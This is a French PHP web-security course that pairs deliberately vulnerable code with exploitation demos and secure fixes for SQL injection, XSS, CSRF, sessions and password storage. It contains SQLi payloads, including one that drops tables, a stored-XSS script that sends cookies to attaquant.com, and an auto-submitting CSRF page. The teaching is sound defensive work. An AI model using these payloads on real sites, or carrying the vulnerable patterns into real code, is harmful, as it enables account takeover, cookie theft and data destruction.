Aller au contenu

Cybersécurité Web — Développer et configurer un site sécurisé

Cours pratique pour développeur.euse.s PHP

Les exemples de code sont en PHP pour ce cours mais la sécurité s’applique quel que soit le langage que vous utilisez. Ce cours concerne les Failles, démonstrations d’exploitation et les contre-attaques.


Sommaire


1. Introduction à la cybersécurité web

1.1. Pourquoi sécuriser une application web ?

Chaque développeur et développeuse web est un acteur de la sécurité. Une application mal sécurisée expose :

En France, la violation d’un système informatique est un délit pénal (article 323-1 du Code pénal) pouvant conduire à 2 ans d’emprisonnement et 60 000 € d’amende. Ces lois s’appliquent également aux pentesters qui opèrent sans autorisation écrite.

Cadre légal important : les démonstrations de ce cours doivent être réalisées uniquement sur des environnements de test que vous contrôlez. Attaquer un système sans autorisation est illégal.

1.2. Le Top 10 OWASP

L’OWASP (Open Web Application Security Project) est une fondation mondiale qui publie le classement des risques les plus critiques pour les applications web. C’est une référence internationale en sécurité applicative.

Petite vidéo qui explique (la voie est synthétique) à quoi correspond OWASP et les différentes attaques courantes

Lien vers le site d’OWASP

Ce cours a été construit au départ avec le Top 10 OWASP 2021. Il reste très utile, car les grandes familles de failles n’ont pas disparu. En revanche, la version OWASP Top 10:2025 modifie l’ordre des risques et ajoute 2 préoccupations importantes : la chaîne d’approvisionnement logicielle et la mauvaise gestion des conditions exceptionnelles.

Rang Catégorie OWASP 2021 Couverture dans ce cours initial
A01 Broken Access Control Chapitre 11
A02 Cryptographic Failures Chapitres 6, 10
A03 Injection Chapitre 2
A04 Insecure Design Chapitres 5, 13
A05 Security Misconfiguration Chapitres 9, 12
A06 Vulnerable and Outdated Components Annexe
A07 Identification and Authentication Failures Chapitre 5
A08 Software and Data Integrity Failures Chapitre 12
A09 Security Logging and Monitoring Failures Chapitre 13
A10 Server-Side Request Forgery — SSRF Chapitre 12

Ce cours couvre l’intégralité du Top 10 OWASP 2021 ainsi que d’autres failles spécifiques au développement PHP pour simplifier les exemples.

Depuis la version 2025, l’ordre change : certaines failles restent au même endroit, d’autres montent ou descendent, et deux catégories demandent une vraie mise à jour pédagogique.

Rang OWASP 2021 OWASP 2025 Ce que cela change pour le cours
A01 Broken Access Control Broken Access Control Toujours prioritaire. Le chapitre 11 reste central. SSRF et CSRF peuvent aussi être reliés à ce thème.
A02 Cryptographic Failures Security Misconfiguration La configuration devient un risque majeur : serveur, headers, CORS, profils, erreurs, console debug.
A03 Injection Software Supply Chain Failures Nouvelle priorité forte : dépendances, Composer, Maven, npm, Docker, CI/CD, artefacts.
A04 Insecure Design Cryptographic Failures La crypto reste essentielle, mais descend dans le classement.
A05 Security Misconfiguration Injection Les injections restent critiques, même si elles descendent. On garde le chapitre SQLi.
A06 Vulnerable and Outdated Components Insecure Design Le design sécurisé reste une compétence à travailler dès la conception.
A07 Identification and Authentication Failures Authentication Failures Renommage et recentrage sur l’authentification.
A08 Software and Data Integrity Failures Software or Data Integrity Failures Sujet très proche, à relier aux signatures, CI/CD et intégrité des données.
A09 Security Logging and Monitoring Failures Security Logging and Alerting Failures On ne doit pas seulement logger : il faut aussi alerter.
A10 SSRF Mishandling of Exceptional Conditions Nouvelle catégorie : erreurs, exceptions, fail open, états anormaux. SSRF est traité comme un cas de contrôle d’accès / requête serveur dangereuse.

Conclusion pédagogique : un cours basé sur 2021 n’est pas à jeter. Il faut surtout le mettre à niveau. Le squelette reste bon, mais il faut ajouter la supply chain, renforcer la configuration, améliorer la journalisation avec alerting, et traiter les exceptions comme un vrai sujet de sécurité.

Dans cette version enrichie du cours, les chapitres 15 à 19 ajoutent les compléments nécessaires pour couvrir OWASP 2025 sans casser la structure initiale.

Récapitulatif en Français des vulnérabilités

Rang Catégorie (2025) Description générale
A01 Contrôle d’accès défaillant Mauvaise gestion des permissions et des droits d’accès, permettant des actions non autorisées.
A02 Mauvaise configuration de sécurité Paramétrages ou configurations d’infrastructures, serveurs, frameworks ou bibliothèques incorrects ou trop permissifs.
A03 Défaillances de la chaîne d’approvisionnement logicielle Vulnérabilités dans la chaîne d’approvisionnement logicielle : dépendances, bibliothèques externes, outils de build/distribution, etc.
A04 Défaillances cryptographiques Mauvaise utilisation du chiffrement, gestion des clés, stockage de données sensibles non sécurisé, etc.
A05 Injection Failles typiques comme SQL Injection, Cross-site Scripting (XSS), etc., où des données non fiables sont interprétées comme du code.
A06 Conception non sécurisée Absence de principes de sécurité dès la phase de design/architecture, absence de modélisation des menaces, mauvaise conception logique.
A07 Échecs d’authentification Défauts dans la gestion des authentifications et identifications — authentification faible, sessions non protégées, etc.
A08 Défaillances d’intégrité logicielle/données Problèmes liés à l’intégrité du code, des mises à jour, des bibliothèques, ou des données, risquant de corrompre l’application.
A09 Journalisation et alertes insuffisantes Absence ou insuffisance des logs et alertes, rendant la détection d’attaques, la traçabilité ou l’analyse d’incidents difficile.
A10 Mauvaise gestion des conditions exceptionnelles Gestion incorrecte des erreurs, des cas limites ou des situations imprévues — erreurs d’implémentation, “failing open”, comportements non sécurisés.

lien une note

1.3. La mentalité de l’attaquant

Pour sécuriser efficacement, il faut penser comme un attaquant. Le raisonnement est systématique :

  1. Reconnaissance : identifier les technologies, les endpoints, les formulaires, les erreurs exposées.
  2. Énumération : lister les paramètres, les fichiers accessibles, les utilisateurs.
  3. Exploitation : tenter les vecteurs d’attaque connus.
  4. Post-exploitation : élever les privilèges, exfiltrer les données, installer une persistance.

En tant que développeur.euse, chaque étape ci-dessus doit vous rappeler une contre-mesure à implémenter.

1.4. Environnement de travail sécurisé pour ce cours

Pour les exercices pratiques, créez un environnement isolé. Ne testez jamais sur un site en production.

stack recommandée (locale)
├── PHP 8.2 (via XAMPP ou PHP-CLI)
├── MySQL 8
├── Apache ou Nginx
└── Navigateur + extension "Cookie Editor" + Burp Suite Community (proxy HTTP)
# Vérifier la version de PHP
php -v
# PHP 8.2.x

# Lancer un serveur PHP intégré (pour les tests rapides)
php -S localhost:8080 -t ./public

2. Injection SQL — SQLi

2.1. Principe de la faille

L’injection SQL est la faille numéro 1 des applications web depuis des décennies. Elle survient quand une entrée utilisateur est intégrée directement dans une requête SQL sans être validée ni échappée.

L’attaquant peut alors manipuler la logique de la requête pour :

2.2. Démonstration — Code vulnérable

Formulaire HTML (login.html)

<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <title>Connexion</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css">
</head>
<body class="bg-light">
<div class="container mt-5" style="max-width:400px">
    <div class="card shadow">
        <div class="card-body p-4">
            <h3 class="card-title mb-4">Connexion</h3>
            <form method="POST" action="login_vulnerable.php">
                <div class="mb-3">
                    <label class="form-label">Email</label>
                    <input type="text" name="email" class="form-control">
                </div>
                <div class="mb-3">
                    <label class="form-label">Mot de passe</label>
                    <input type="password" name="password" class="form-control">
                </div>
                <button type="submit" class="btn btn-primary w-100">Se connecter</button>
            </form>
        </div>
    </div>
</div>
</body>
</html>

Traitement PHP vulnérable (login_vulnerable.php)

<?php
//  CODE VULNÉRABLE — NE PAS UTILISER EN PRODUCTION
$pdo = new PDO('mysql:host=localhost;dbname=demo', 'root', '');

$email    = $_POST['email'];     //  Aucune validation
$password = $_POST['password'];  //  Aucune validation

//  Concaténation directe dans la requête SQL
$sql = "SELECT * FROM users
        WHERE email = '$email'
        AND password = '$password'";

$stmt   = $pdo->query($sql);
$user   = $stmt->fetch();

if ($user) {
    echo "Bienvenue " . $user['nom'];
} else {
    echo "Identifiants incorrects.";
}

2.3. Exploitation — Bypass d’authentification

Entrons dans le champ email la valeur suivante :

' OR '1'='1

La requête SQL construite devient :

SELECT * FROM users
WHERE email = '' OR '1'='1'
AND password = ''

Comme '1'='1' est toujours vrai, cette requête retourne tous les utilisateurs. Le fetch() récupère le premier utilisateur — souvent l’administrateur. Connexion réussie sans connaître aucun identifiant.

Variante encore plus destructrice :

' OR 1=1; DROP TABLE users; --

La requête devient :

SELECT * FROM users WHERE email = '' OR 1=1;
DROP TABLE users; -- ' AND password = ''

Le -- est un commentaire SQL qui neutralise la fin de la requête originale.

2.4. Exploitation — Extraction de données (UNION-based)

Si l’application affiche des résultats de la base, l’attaquant peut utiliser UNION SELECT :

' UNION SELECT 1, user(), database(), version(), 5 --

Cette payload révèle le nom d’utilisateur MySQL, le nom de la base et la version du serveur. À partir de là, l’attaquant peut extraire toute la structure de la base via information_schema.

2.5. Correction — Requêtes préparées (PDO)

<?php
//  CODE SÉCURISÉ — Requêtes préparées avec PDO

$pdo = new PDO(
    'mysql:host=localhost;dbname=demo;charset=utf8mb4',
    'root',
    '',
    [
        PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        PDO::ATTR_EMULATE_PREPARES   => false, // Requêtes vraiment préparées
    ]
);

$email    = $_POST['email'] ?? '';
$password = $_POST['password'] ?? '';

//  La requête est compilée AVANT d'insérer les paramètres
$stmt = $pdo->prepare(
    "SELECT * FROM users WHERE email = :email LIMIT 1"
);
$stmt->execute([':email' => $email]);
$user = $stmt->fetch();

//  Vérification du mot de passe hashé (voir chapitre 6)
if ($user && password_verify($password, $user['password_hash'])) {
    session_regenerate_id(true); // Prévention fixation de session
    $_SESSION['user_id'] = $user['id'];
    header('Location: dashboard.php');
    exit;
} else {
    $erreur = "Identifiants incorrects.";
}

Avec les requêtes préparées, les paramètres sont transmis séparément de la requête. Le moteur SQL les traite comme de la data pure, jamais comme du code. L’injection devient impossible.

PDO::ATTR_EMULATE_PREPARES => false est crucial. Avec l’émulation activée (valeur par défaut), PDO simule les requêtes préparées côté PHP, ce qui laisse une fenêtre de vulnérabilité. Désactivez toujours l’émulation.

2.6. Correction — Validation complémentaire

<?php
// Validation stricte des entrées AVANT la requête

function validerEmail(string $email): string
{
    $email = trim($email);
    $email = filter_var($email, FILTER_SANITIZE_EMAIL);

    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        throw new InvalidArgumentException("Format d'email invalide.");
    }

    if (strlen($email) > 254) {
        throw new LengthException("Email trop long.");
    }

    return $email;
}

try {
    $email = validerEmail($_POST['email'] ?? '');
} catch (Exception $e) {
    $erreur = "Entrée invalide."; // Ne pas exposer le détail
    // Logger l'erreur en interne
}

2.7. Second-order injection

La second-order injection est une variante sournoise : les données malveillantes sont d’abord stockées dans la base (correctement échappées), puis réutilisées dans une autre requête sans être de nouveau protégées.

//  Scénario : l'administrateur récupère un nom d'utilisateur de la BDD
// et l'utilise dans une nouvelle requête non préparée

$nomUtilisateur = $row['username']; // vient de la BDD, "semble" sûr
// Mais si username contient : admin'--
$sql = "SELECT * FROM logs WHERE username = '$nomUtilisateur'";
//  INJECTION malgré le fait que la donnée vienne de la BDD !

Règle absolue : toute donnée externe (y compris issue de la base de données) doit être traitée via une requête préparée.


3. Cross-Site Scripting — XSS

3.1. Principe de la faille

Le XSS (Cross-Site Scripting) permet à un attaquant d’injecter du JavaScript dans les pages web vues par d’autres utilisateurs. Il en existe 3 types :

Type Description Persistance
Reflected XSS Le script est dans l’URL, reflété immédiatement Non persistant
Stored XSS Le script est stocké en BDD et exécuté pour chaque visiteur Persistant
DOM-based XSS Le script manipule le DOM côté client Variable

Les conséquences possibles : vol de cookies de session, redirection vers un site de phishing, keylogger, défacement, cryptomining, propagation virale.

3.2. Démonstration — Reflected XSS

<?php
//  CODE VULNÉRABLE — Reflected XSS
// URL : /recherche.php?q=<script>alert('XSS')</script>

$recherche = $_GET['q'] ?? '';
echo "<p>Résultats pour : " . $recherche . "</p>";
//  Le script est injecté directement dans le HTML

Payload de démonstration dans l’URL :

/recherche.php?q=<script>alert(document.cookie)</script>

Le navigateur affiche une alerte avec les cookies de session. Un attaquant envoie ce lien à une victime. Quand elle clique, ses cookies sont envoyés au serveur de l’attaquant.

3.3. Démonstration — Stored XSS

<?php
//  CODE VULNÉRABLE — Stored XSS dans un commentaire
$pdo = new PDO('mysql:host=localhost;dbname=demo', 'root', '');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $commentaire = $_POST['commentaire']; //  Pas de nettoyage
    $stmt = $pdo->prepare("INSERT INTO commentaires (texte) VALUES (?)");
    $stmt->execute([$commentaire]);
}

// Affichage
$stmt = $pdo->query("SELECT texte FROM commentaires");
while ($row = $stmt->fetch()) {
    echo "<p>" . $row['texte'] . "</p>"; //  Injection dans le HTML
}

Un attaquant soumet ce commentaire :

<script>
    fetch('https://attaquant.com/steal?c=' + document.cookie);
</script>

Ce script s’exécute dans le navigateur de chaque visiteur qui consulte la page. Leurs cookies sont exfiltrés vers le serveur de l’attaquant.

3.4. Correction — Échappement systématique

<?php
//  CODE SÉCURISÉ

// Fonction centrale d'échappement
function e(string $valeur): string
{
    return htmlspecialchars($valeur, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}

//  Reflected XSS corrigé
$recherche = $_GET['q'] ?? '';
echo "<p>Résultats pour : " . e($recherche) . "</p>";

//  Stored XSS corrigé — Échappement à l'affichage
$stmt = $pdo->query("SELECT texte FROM commentaires");
while ($row = $stmt->fetch()) {
    echo "<p>" . e($row['texte']) . "</p>";
}

Règle fondamentale : n’échappez pas à la saisie, mais à l’affichage, dans le bon contexte. Un texte affiché dans du HTML, dans un attribut HTML, dans du JavaScript ou dans du CSS nécessite un échappement différent.

3.5. Contextes d’affichage et échappements correspondants

<?php
$valeur = $_GET['input'] ?? '';

// Contexte HTML (corps de balise)
echo "<p>" . htmlspecialchars($valeur, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "</p>";

// Contexte attribut HTML
echo '<input type="text" value="' . htmlspecialchars($valeur, ENT_QUOTES, 'UTF-8') . '">';

// Contexte JavaScript
//  NE PAS faire : echo "<script>var x = '$valeur';</script>";
//  Passer par JSON encode pour les valeurs JS
$valeurJs = json_encode($valeur, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
echo "<script>var x = $valeurJs;</script>";

// Contexte URL
echo '<a href="' . htmlspecialchars('page.php?ref=' . urlencode($valeur)) . '">Lien</a>';

3.6. Content Security Policy (CSP)

La CSP est un en-tête HTTP qui dit au navigateur quelles sources de scripts sont autorisées. Même si un XSS est injecté, le navigateur refuse de l’exécuter si la source n’est pas dans la whitelist.

<?php
//  En-tête CSP dans chaque page PHP
header("Content-Security-Policy: " .
    "default-src 'self'; " .
    "script-src 'self' https://cdn.jsdelivr.net; " .
    "style-src 'self' https://cdn.jsdelivr.net 'unsafe-inline'; " .
    "img-src 'self' data: https:; " .
    "font-src 'self' https://fonts.gstatic.com; " .
    "connect-src 'self'; " .
    "frame-ancestors 'none'; " .
    "base-uri 'self'; " .
    "form-action 'self';"
);
<!-- Équivalent en balise meta (moins recommandé) -->
<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self'">

'unsafe-inline' dans script-src annule la protection contre le XSS. Évitez-le pour les scripts. Utilisez des nonces si vous avez besoin de scripts inline.

3.7. DOM-based XSS — Vigilance côté JavaScript

//  VULNÉRABLE — DOM XSS
// URL : /page.html#<img src=x onerror=alert(1)>
const hash = location.hash.substring(1);
document.getElementById('output').innerHTML = hash; // injection dans le DOM

//  SÉCURISÉ
const hash = location.hash.substring(1);
document.getElementById('output').textContent = hash; // textContent échappe automatiquement

//  Si vous devez manipuler le HTML
const div = document.getElementById('output');
div.textContent = ''; // Vider
const texte = document.createTextNode(hash); // Créer un nœud texte
div.appendChild(texte); // Pas d'interprétation HTML

4. Cross-Site Request Forgery — CSRF

4.1. Principe de la faille

Le CSRF (Cross-Site Request Forgery) force le navigateur d’un utilisateur authentifié à effectuer une action non voulue sur un site web. Le navigateur envoie automatiquement les cookies de session, ce qui rend la requête légitime aux yeux du serveur.

Scénario d’attaque :

  1. La victime est connectée à sa banque en ligne.
  2. Elle visite une autre page (forum, email, pub) qui contient un formulaire caché.
  3. Ce formulaire soumet automatiquement un virement depuis le compte de la victime.
  4. La banque reçoit la requête avec les cookies valides → transaction effectuée.

4.2. Démonstration — Application vulnérable

<?php
//  CODE VULNÉRABLE — Pas de protection CSRF
// Action : changer l'email de l'utilisateur connecté
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_SESSION['user_id'])) {
    $nouvelEmail = $_POST['email'] ?? '';
    //  Aucune vérification que la requête vient bien de notre site
    $pdo = new PDO('mysql:host=localhost;dbname=demo', 'root', '');
    $stmt = $pdo->prepare("UPDATE users SET email = ? WHERE id = ?");
    $stmt->execute([$nouvelEmail, $_SESSION['user_id']]);
    echo "Email mis à jour : " . htmlspecialchars($nouvelEmail);
}

Page malveillante sur un site tiers

<!-- Sur un site attaquant : attaquant.com/piege.html -->
<!-- Ce formulaire se soumet automatiquement au chargement de la page -->
<html>
<body>
<form id="csrf" method="POST" action="https://votresite.com/compte/email.php" style="display:none">
    <input type="email" name="email" value="hacker@attaquant.com">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Quand la victime ouvre cette page, son email est changé à son insu. L’attaquant peut ensuite utiliser la fonctionnalité “mot de passe oublié” pour prendre le contrôle du compte.

4.3. Correction — Token CSRF

<?php
//  Génération et stockage du token CSRF
session_start();

function genererTokenCsrf(): string
{
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); // 64 caractères hex
    }
    return $_SESSION['csrf_token'];
}

function verifierTokenCsrf(string $tokenRecu): bool
{
    $tokenAttendu = $_SESSION['csrf_token'] ?? '';
    //  hash_equals évite les attaques timing
    return hash_equals($tokenAttendu, $tokenRecu);
}
<!--  Formulaire sécurisé avec token CSRF -->
<form method="POST" action="email.php">
    <!-- Token caché dans chaque formulaire -->
    <input type="hidden" name="csrf_token" value="<?= htmlspecialchars(genererTokenCsrf()) ?>">
    <input type="email" name="email" class="form-control" required>
    <button type="submit" class="btn btn-primary">Mettre à jour</button>
</form>
<?php
//  Vérification côté serveur
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $tokenRecu = $_POST['csrf_token'] ?? '';

    if (!verifierTokenCsrf($tokenRecu)) {
        http_response_code(403);
        die('Requête invalide — token CSRF manquant ou incorrect.');
    }

    //  Token validé → traitement de la requête
    $nouvelEmail = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
    if (!$nouvelEmail) {
        die("Email invalide.");
    }

    $stmt = $pdo->prepare("UPDATE users SET email = ? WHERE id = ?");
    $stmt->execute([$nouvelEmail, $_SESSION['user_id']]);

    //  Régénérer le token après usage (token à usage unique)
    unset($_SESSION['csrf_token']);
    header('Location: compte.php?msg=email_mis_a_jour');
    exit;
}

4.4. Protection CSRF pour les API AJAX

//  En-tête personnalisé pour les requêtes AJAX
// Les requêtes cross-origin ne peuvent pas ajouter d'en-têtes personnalisés

// Dans votre JavaScript
fetch('/api/update-email', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
    },
    body: JSON.stringify({ email: 'nouvel@email.com' })
});
<!-- Token dans une balise meta pour les requêtes AJAX -->
<meta name="csrf-token" content="<?= htmlspecialchars(genererTokenCsrf()) ?>">
<?php
//  Validation du token CSRF dans l'API
$tokenHeader = $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
if (!verifierTokenCsrf($tokenHeader)) {
    http_response_code(403);
    echo json_encode(['error' => 'CSRF token invalide']);
    exit;
}
<?php
//  Configurer le cookie de session avec SameSite=Strict
session_set_cookie_params([
    'lifetime' => 0,
    'path'     => '/',
    'domain'   => '',
    'secure'   => true,      // Uniquement en HTTPS
    'httponly' => true,       // Inaccessible en JavaScript
    'samesite' => 'Strict',   // Bloque l'envoi cross-site
]);
session_start();

SameSite=Strict bloque l’envoi du cookie dans toutes les requêtes cross-site, même les liens. SameSite=Lax (valeur par défaut dans les navigateurs modernes) est moins restrictif mais protège contre la plupart des CSRF POST. Ces attributs ne remplacent pas les tokens CSRF — ils se cumulent.


5. Authentification et gestion des sessions

5.1. Les failles d’authentification courantes

Faille Description
Bruteforce Tenter des milliers de mots de passe sans limitation
Credential stuffing Réutiliser des couples email/mot de passe volés sur d’autres sites
Session fixation Imposer un identifiant de session à la victime avant sa connexion
Session hijacking Voler le cookie de session pour usurper l’identité
Enumération d’utilisateurs Différencier “email inconnu” et “mot de passe incorrect”

5.2. Démonstration — Bruteforce

<?php
//  CODE VULNÉRABLE — Pas de limitation de tentatives
$email    = $_POST['email'] ?? '';
$password = $_POST['password'] ?? '';

$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?");
$stmt->execute([$email]);
$user = $stmt->fetch();

if ($user && password_verify($password, $user['password_hash'])) {
    $_SESSION['user_id'] = $user['id'];
    header('Location: /dashboard');
} else {
    echo "Identifiants incorrects."; //  Message différencié possible
}
// Aucune limitation → attaque bruteforce possible

Un attaquant peut tenter des millions de combinaisons avec des outils comme Hydra ou Burp Suite Intruder.

5.3. Correction — Rate limiting et verrouillage

<?php
//  Protection contre le bruteforce
session_start();

class AuthManager
{
    private PDO $pdo;
    private const MAX_TENTATIVES  = 5;
    private const DELAI_BLOCAGE   = 900; // 15 minutes

    public function __construct(PDO $pdo)
    {
        $this->pdo = $pdo;
    }

    public function estBloqueParIP(string $ip): bool
    {
        $stmt = $this->pdo->prepare(
            "SELECT COUNT(*) FROM login_attempts
             WHERE ip_address = ?
               AND tentative_at > DATE_SUB(NOW(), INTERVAL ? SECOND)
               AND succes = 0"
        );
        $stmt->execute([$ip, self::DELAI_BLOCAGE]);
        return $stmt->fetchColumn() >= self::MAX_TENTATIVES;
    }

    public function enregistrerTentative(string $ip, string $email, bool $succes): void
    {
        $stmt = $this->pdo->prepare(
            "INSERT INTO login_attempts (ip_address, email, succes, tentative_at)
             VALUES (?, ?, ?, NOW())"
        );
        $stmt->execute([$ip, $email, $succes ? 1 : 0]);
    }

    public function connecter(string $email, string $password): ?array
    {
        $ip = $_SERVER['REMOTE_ADDR'];

        if ($this->estBloqueParIP($ip)) {
            //  Message générique — ne pas indiquer la raison précise
            throw new RuntimeException("Trop de tentatives. Réessayez dans 15 minutes.");
        }

        //  Message d'erreur identique que l'email existe ou non
        $stmt = $this->pdo->prepare("SELECT * FROM users WHERE email = ? LIMIT 1");
        $stmt->execute([$email]);
        $user = $stmt->fetch();

        $passwordValide = $user && password_verify($password, $user['password_hash']);

        $this->enregistrerTentative($ip, $email, $passwordValide);

        if (!$passwordValide) {
            //  Délai artificiel pour ralentir le bruteforce et les attaques timing
            usleep(random_int(100000, 300000)); // 0.1 à 0.3 secondes
            return null;
        }

        return $user;
    }
}
-- Table de journalisation des tentatives
CREATE TABLE login_attempts (
    id          INT AUTO_INCREMENT PRIMARY KEY,
    ip_address  VARCHAR(45)  NOT NULL,
    email       VARCHAR(254) NOT NULL,
    succes      TINYINT(1)   NOT NULL DEFAULT 0,
    tentative_at DATETIME    NOT NULL,
    INDEX idx_ip_date (ip_address, tentative_at)
);

5.4. Correction — Session fixation et hijacking

<?php
//  Configuration sécurisée des sessions

// Avant session_start(), dans chaque page
ini_set('session.use_strict_mode', '1');  //  Rejette les ID de session non générés par le serveur
ini_set('session.use_only_cookies', '1'); //  Session uniquement via cookie, pas URL
ini_set('session.cookie_httponly', '1');  //  Cookie inaccessible en JS
ini_set('session.cookie_secure', '1');    //  Cookie uniquement en HTTPS
ini_set('session.cookie_samesite', 'Strict');
ini_set('session.gc_maxlifetime', '1800'); // 30 minutes d'inactivité

session_start();

//  Après la connexion réussie : régénérer l'ID de session
function connecterUtilisateur(array $user): void
{
    session_regenerate_id(true); //  Détruit l'ancienne session, crée une nouvelle
    $_SESSION['user_id']      = $user['id'];
    $_SESSION['user_email']   = $user['email'];
    $_SESSION['user_role']    = $user['role'];
    $_SESSION['connexion_ip'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['connexion_ua'] = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $_SESSION['derniere_activite'] = time();
}

//  Vérification de la validité de session à chaque page
function verifierSession(): void
{
    if (!isset($_SESSION['user_id'])) {
        header('Location: /login.php');
        exit;
    }

    //  Expiration par inactivité
    if (time() - ($_SESSION['derniere_activite'] ?? 0) > 1800) {
        session_destroy();
        header('Location: /login.php?expire=1');
        exit;
    }

    //  Vérification de cohérence IP + User-Agent (détection de hijacking basique)
    if ($_SESSION['connexion_ip'] !== $_SERVER['REMOTE_ADDR']) {
        // Journaliser la tentative suspecte
        session_destroy();
        header('Location: /login.php?suspicious=1');
        exit;
    }

    $_SESSION['derniere_activite'] = time();
}

5.5. Déconnexion sécurisée

<?php
//  Déconnexion complète
function deconnecter(): void
{
    session_start();

    // 1. Vider les données de session
    $_SESSION = [];

    // 2. Supprimer le cookie de session
    if (ini_get("session.use_cookies")) {
        $params = session_get_cookie_params();
        setcookie(
            session_name(), '', time() - 42000,
            $params['path'], $params['domain'],
            $params['secure'], $params['httponly']
        );
    }

    // 3. Détruire la session côté serveur
    session_destroy();

    header('Location: /login.php?deconnecte=1');
    exit;
}

6. Gestion des mots de passe

6.1. Ce qu’il ne faut JAMAIS faire

<?php
//  ERREURS CRITIQUES DE GESTION DES MOTS DE PASSE

//  Stocker en clair
$password_en_clair = $_POST['password'];
$sql = "INSERT INTO users (password) VALUES ('$password_en_clair')";

//  Utiliser MD5 (cassable en millisecondes avec des rainbow tables)
$hash = md5($_POST['password']);

//  Utiliser SHA1 (idem)
$hash = sha1($_POST['password']);

//  Utiliser SHA256 sans sel (vulnérable aux rainbow tables)
$hash = hash('sha256', $_POST['password']);

//  Utiliser un sel faible ou prévisible
$hash = hash('sha256', 'monsitesel' . $_POST['password']);

Les algorithmes MD5 et SHA1 ne sont pas des algorithmes de hachage de mots de passe. Ils sont conçus pour être rapides, ce qui les rend vulnérables au bruteforce. Un GPU moderne teste plusieurs milliards de MD5 par seconde.

6.2. Algorithmes recommandés

<?php
//  Utiliser password_hash() — BCRYPT par défaut (PHP 5.5+)
$hash = password_hash($_POST['password'], PASSWORD_BCRYPT, ['cost' => 12]);

//  Ou Argon2id (recommandé pour PHP 7.3+)
$hash = password_hash($_POST['password'], PASSWORD_ARGON2ID, [
    'memory_cost' => 65536, // 64 Mo de RAM
    'time_cost'   => 4,     // 4 itérations
    'threads'     => 3,
]);

//  Ou utiliser PASSWORD_DEFAULT (algorithme recommandé par PHP, évolue entre les versions)
$hash = password_hash($_POST['password'], PASSWORD_DEFAULT);
// La valeur par défaut de PHP 8 est PASSWORD_BCRYPT avec cost=10

//  Vérifier un mot de passe
if (password_verify($motDePasseSaisi, $hashEnBase)) {
    // Connexion autorisée
}

//  Détecter si le hash doit être mis à jour (après changement d'algo ou de paramètres)
if (password_needs_rehash($hashEnBase, PASSWORD_ARGON2ID)) {
    $nouveauHash = password_hash($motDePasseSaisi, PASSWORD_ARGON2ID);
    // Mettre à jour en base
}

password_hash() génère automatiquement un sel aléatoire et l’inclut dans la chaîne de hash. Vous n’avez pas besoin de gérer le sel manuellement. Le hash résultant contient l’algorithme, le coût, le sel et le hash : $2y$12$sel...hash....

6.3. Politique de mots de passe

<?php
//  Validation de la politique de mot de passe
function validerMotDePasse(string $password): array
{
    $erreurs = [];

    if (strlen($password) < 12) {
        $erreurs[] = "Le mot de passe doit contenir au moins 12 caractères.";
    }
    if (!preg_match('/[A-Z]/', $password)) {
        $erreurs[] = "Au moins une lettre majuscule requise.";
    }
    if (!preg_match('/[a-z]/', $password)) {
        $erreurs[] = "Au moins une lettre minuscule requise.";
    }
    if (!preg_match('/[0-9]/', $password)) {
        $erreurs[] = "Au moins un chiffre requis.";
    }
    if (!preg_match('/[\W_]/', $password)) {
        $erreurs[] = "Au moins un caractère spécial requis.";
    }

    // Vérifier contre une liste de mots de passe communs
    $motsDePasse_courants = ['password123', '123456789', 'motdepasse', 'qwerty123'];
    if (in_array(strtolower($password), $motsDePasse_courants)) {
        $erreurs[] = "Ce mot de passe est trop commun.";
    }

    return $erreurs;
}
<!--  Indicateur visuel de force côté client (complément, pas substitut) -->
<div class="mb-3">
    <label for="password" class="form-label">Mot de passe</label>
    <input type="password" id="password" name="password"
           class="form-control" minlength="12" required>
    <div id="password-strength" class="progress mt-1" style="height:5px">
        <div id="strength-bar" class="progress-bar" role="progressbar" style="width:0%"></div>
    </div>
    <small id="strength-text" class="form-text text-muted"></small>
</div>

<script>
document.getElementById('password').addEventListener('input', function() {
    const pwd   = this.value;
    let score   = 0;
    let couleur = 'bg-danger';
    let texte   = 'Très faible';

    if (pwd.length >= 8)  score++;
    if (pwd.length >= 12) score++;
    if (/[A-Z]/.test(pwd)) score++;
    if (/[a-z]/.test(pwd)) score++;
    if (/[0-9]/.test(pwd)) score++;
    if (/[\W_]/.test(pwd)) score++;

    if (score >= 5) { couleur = 'bg-success'; texte = 'Fort'; }
    else if (score >= 3) { couleur = 'bg-warning'; texte = 'Moyen'; }

    const bar = document.getElementById('strength-bar');
    bar.style.width = (score / 6 * 100) + '%';
    bar.className = 'progress-bar ' + couleur;
    document.getElementById('strength-text').textContent = texte;
});
</script>

6.4. Réinitialisation sécurisée de mot de passe

<?php
//  Génération d'un token de réinitialisation sécurisé

function genererTokenReinit(int $userId, PDO $pdo): string
{
    $token    = bin2hex(random_bytes(32)); // Token de 64 caractères
    $tokenHash = hash('sha256', $token);  // Stocker le hash, pas le token brut
    $expiration = date('Y-m-d H:i:s', time() + 3600); // 1 heure

    // Invalider les anciens tokens
    $pdo->prepare("DELETE FROM password_resets WHERE user_id = ?")->execute([$userId]);

    $stmt = $pdo->prepare(
        "INSERT INTO password_resets (user_id, token_hash, expires_at) VALUES (?, ?, ?)"
    );
    $stmt->execute([$userId, $tokenHash, $expiration]);

    return $token; // Envoyer le token brut par email
}

